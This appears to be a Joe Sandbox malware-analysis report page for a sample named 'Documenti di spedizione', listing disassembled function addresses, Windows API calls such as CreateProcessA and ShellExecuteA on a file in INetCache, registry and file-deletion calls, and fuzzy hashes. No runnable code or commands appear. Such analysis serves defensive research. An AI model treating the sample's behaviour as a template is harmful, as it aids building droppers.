Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 8605fb0cc1bd08462260b177f6e223d0fe872a64a1cb3e3de70a479640e30f4e
Instruction ID: a84e3f3112e4284354e87e930577f618970dfa48977d7da17d28cbc3385d6636
Opcode Fuzzy Hash: 8605fb0cc1bd08462260b177f6e223d0fe872a64a1cb3e3de70a479640e30f4e
Instruction Fuzzy Hash: 36E04FB0A002097FEB009B60EC05F7B7ABCE710204F808571BD01F2160D278A8008A78

Function 00406977 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 813088101d1177fb169553b46c52c2ff17d2ea35d6802c76714b97bf352b3534
Instruction ID: 2e33bf0a2efd24b19013112e0e3dc0c5d96cbb3b8ddfa3d6198f03b0ea5f4905
Opcode Fuzzy Hash: 813088101d1177fb169553b46c52c2ff17d2ea35d6802c76714b97bf352b3534
Instruction Fuzzy Hash: 38A14271E00229CBDF28CFA8C8447ADBBB1FF44305F15806AD856BB281D7789A96DF44

Function 00406B78 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76287d30da9bd6127f444d76b1a2dea5d718215deeea3e4961f0482c034aff3f
Instruction ID: b6fdc69984dd60fe5839cdbb69547f11a37967466e553f406be5e4f069ddcdf3
Opcode Fuzzy Hash: 76287d30da9bd6127f444d76b1a2dea5d718215deeea3e4961f0482c034aff3f
Instruction Fuzzy Hash: 06912371E00228CBDF28CF98C8547ADBBB1FF44305F15816AD856BB291C778AA96DF44

Function 0040688E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9112cbabc6f4a79aea4e3429d0b79d6c933dfda102b28fdb5082a60d62602a4e
Instruction ID: c7cee2028620334147dbeeecb81edbae78790ee6bd2d36d3aed28758d5738f0f
Opcode Fuzzy Hash: 9112cbabc6f4a79aea4e3429d0b79d6c933dfda102b28fdb5082a60d62602a4e
Instruction Fuzzy Hash: CF813471E00228DBDF24CFA8C844BADBBB1FF44305F25816AD856BB291D7389996DF14

Function 00406393 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db9708fb04e2e0ecb222d306fe81c02053fdbbf4ae968347cebcb7f9112ce6f9
Instruction ID: 57d0a4a62e73b261e138738b2685f27b9a830e1577229771e06a9dcc4a08ef7a
Opcode Fuzzy Hash: db9708fb04e2e0ecb222d306fe81c02053fdbbf4ae968347cebcb7f9112ce6f9
Instruction Fuzzy Hash: DC816771E04228DBDF24CFA8C844BADBBB1FF44315F11816AD856BB280C7786996DF44

Function 004067E1 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51b9571c4f2cef3f00a150e7480631ebf45f04a25ed8f4987f17413b8e50dd21
Instruction ID: 7a0e56a60353855b6858f4e45cba095cd8fb81da81d2b3e1620468e36a0fecf5
Opcode Fuzzy Hash: 51b9571c4f2cef3f00a150e7480631ebf45f04a25ed8f4987f17413b8e50dd21
Instruction Fuzzy Hash: E2710371E00228DBDF28CFA8C844BADBBB1FF44305F15806AD856BB291D7389996DF54

Function 004068FF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd56666480845857346ca32992c88f0ff24d6c501f81c377169dfb98ddf17ec5
Instruction ID: 640397e2d056f1a05ee02a3664d9fcc147c5dfb75bdb54ac859d1c8af1b059c5
Opcode Fuzzy Hash: cd56666480845857346ca32992c88f0ff24d6c501f81c377169dfb98ddf17ec5
Instruction Fuzzy Hash: 7F712471E00228DBDF28CF98C844BADBBB1FF44305F15806AD856BB291C7789996DF48

Function 0040684B Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6ae2104ab0ec81b4e73fa48072ed289b5e7c7f1ead31899d3077504e5afad2
Instruction ID: 45e0d9c6199636d87fa33ccb5d6651f7628d4ee42d5e4054af8bad143df77737
Opcode Fuzzy Hash: 5b6ae2104ab0ec81b4e73fa48072ed289b5e7c7f1ead31899d3077504e5afad2
Instruction Fuzzy Hash: D1714771E00228DBDF28CF98C844BADBBB1FF44305F15806AD956BB291C778AA56DF44

Function 004030F8 Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040310C

Part of subcall function 00403277: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402F75,?), ref: 00403285

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403022,00000004,00000000,00000000,?,?,00402F9C,000000FF,00000000,00000000,00409130,?), ref: 0040313F
SetFilePointer.KERNELBASE(002806E1,00000000,00000000,004128D8,00004000,?,00000000,00403022,00000004,00000000,00000000,?,?,00402F9C,000000FF,00000000), ref: 0040323A

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: f6133f0060067ae216a0a077ebe86ad3920cfc852d280aeddc091818d184f87e
Instruction ID: b8bc3f79dcbb40427391aad23e9a2a3a4e055ade3e5059820f7b6748c1a5a64e
Opcode Fuzzy Hash: f6133f0060067ae216a0a077ebe86ad3920cfc852d280aeddc091818d184f87e
Instruction Fuzzy Hash: 3131A2B29042109BDB10BF29EE8086A3BECF754756715823FE501B22E0C738DD52DB5E

Function 00402241 Relevance: 4.6, APIs: 3, Instructions: 51stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004061FB: FindFirstFileA.KERNELBASE(75923410,00421580,C:\,00405A9A,C:\,C:\,00000000,C:\,C:\,75923410,?,75922EE0,004057B9,?,75923410,75922EE0), ref: 00406206
Part of subcall function 004061FB: FindClose.KERNEL32(00000000), ref: 00406212

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00402281
lstrlenA.KERNEL32(00000000), ref: 0040228B
SHFileOperationA.SHELL32(?,?,?,00000000), ref: 004022B3

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: 68b53b7b15cd5aa11021285071f00655329fa620989aceaac5983d704ca72be5
Instruction ID: 0317ded50e63044e70734c05992738adc8c04a0539f45c02fec05e083cfe155c
Opcode Fuzzy Hash: 68b53b7b15cd5aa11021285071f00655329fa620989aceaac5983d704ca72be5
Instruction Fuzzy Hash: 15113071E14219AACB10EFF5DA49A9EBAB8AF44314F14447FB100FB2C2D6BDC5418B69

Function 00401EB3 Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405110: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00402D22,00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

Part of subcall function 00405688: CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421538,Error launching installer), ref: 004056B1
Part of subcall function 00405688: CloseHandle.KERNEL32(?), ref: 004056BE

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401EED
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EFD
CloseHandle.KERNELBASE(?,00000000,000000EB,00000000), ref: 00401F22

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcat
String ID:
API String ID: 3521207402-0
Opcode ID: e995d9f419432ab23205a23d5c1414ada8c426ee2d3ef18cbb1adcd6d691f71f
Instruction ID: d3d55c0d0bbc33f725c23921dd181786adb59914180f86dd2947d51e8879a6ae
Opcode Fuzzy Hash: e995d9f419432ab23205a23d5c1414ada8c426ee2d3ef18cbb1adcd6d691f71f
Instruction Fuzzy Hash: 3C019231E04106EBCF20AF91CD49AAE7BB1EB40314F10807BF605B61E1C7794A859B9E

Function 004024F5 Relevance: 4.5, APIs: 3, Instructions: 46registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,00000496,00000000,00000022,00000000,?,?), ref: 00402C00

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402527
RegEnumValueA.ADVAPI32(00000000,00000000,?,?), ref: 0040253A
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsgDADD.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 05547f92edfa2ad71c40473a60083347d41093bd1c43fb3d169fc0aa66b556e7
Instruction ID: 11bb5dddaf85e4de06b60e46a4a286c6c0f73d8de59455db5a8421e4b605592f
Opcode Fuzzy Hash: 05547f92edfa2ad71c40473a60083347d41093bd1c43fb3d169fc0aa66b556e7
Instruction Fuzzy Hash: 5601DFB1A04201FFE7119F65AD88ABF7ABCDF40395F20003FF105A61C0D6B84A41966A

Function 00405DDE Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,00406023,00000000,00000002,?,00000002,?,?,00406023,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405E07
RegQueryValueExA.KERNELBASE(?,?,00000000,00406023,?,00406023), ref: 00405E28
RegCloseKey.KERNELBASE(?), ref: 00405E49

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
Instruction ID: a5bfd4e994019c5e115080bbecddc2f5f1976c63067f757e38b3d402cdd28771
Opcode Fuzzy Hash: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
Instruction Fuzzy Hash: 5F014C7154020AEFDB118F64DD48EDB3FACEF14354B004036FA4596220D235DA64CBA5

Function 00405751 Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405B45: GetFileAttributesA.KERNELBASE(?,?,0040575D,?,?,00000000,00405940,?,?,?,?), ref: 00405B4A
Part of subcall function 00405B45: SetFileAttributesA.KERNELBASE(?,00000000), ref: 00405B5E

RemoveDirectoryA.KERNEL32(?,?,?,00000000,00405940), ref: 0040576C
DeleteFileA.KERNELBASE(?,?,?,00000000,00405940), ref: 00405774
SetFileAttributesA.KERNEL32(?,00000000), ref: 0040578C

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: ecb533084f054dec527d8ee4002c22eb7271b0964ed621fa894de998c2c2fbf7
Instruction ID: 95a73edef03a3fe4ea7fa24255aadd7873cdb690117aa2712c5123595e980fc6
Opcode Fuzzy Hash: ecb533084f054dec527d8ee4002c22eb7271b0964ed621fa894de998c2c2fbf7
Instruction Fuzzy Hash: F2E02B31108A9197C21067349D0CB5F6AD5EFC6314F044A36F991F31C1C73858069EBE

Function 00401E59 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(?,00000000,00000000,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid,?), ref: 00401E9F

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid, xrefs: 00401E8A

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: ExecuteShell
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid
API String ID: 587946157-2470430059
Opcode ID: 62972551e4f607768522ca5215d0e9555a819d9815caab0e71c71de7bb35adcf
Instruction ID: 7c51c884e7587c3efeb31cb3e5c9943a81f4090218bfe93557c80408bc49aec8
Opcode Fuzzy Hash: 62972551e4f607768522ca5215d0e9555a819d9815caab0e71c71de7bb35adcf
Instruction Fuzzy Hash: 58F0F671B14104BADB21ABB59F4AE6D2AA5DB81318F38043BF050F71C2D9FD8942DB28

Function 100027E8 Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00000000), ref: 100028A7
GetLastError.KERNEL32 ref: 100029AE

Memory Dump Source

Source File: 00000000.00000002.2629006314.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2628993182.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629018868.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629030864.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Documenti di spedizione.jbxd

Similarity

API ID: EnumErrorLastWindows
String ID:
API String ID: 14984897-0
Opcode ID: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
Instruction ID: 700bf99a33fcd989ee77f819fa46e2371db99389a88ce2eb288524e3b596c0af
Opcode Fuzzy Hash: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
Instruction Fuzzy Hash: 9751A2BA908214DFFB10DF64DCC674937A4EB443D4F21842AEA08E726DCF34A9808B95

Function 00402FF0 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00409130,00000000,00000000,00000000,00000000,?,?,00402F9C,000000FF,00000000,00000000,00409130,?), ref: 00403015

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
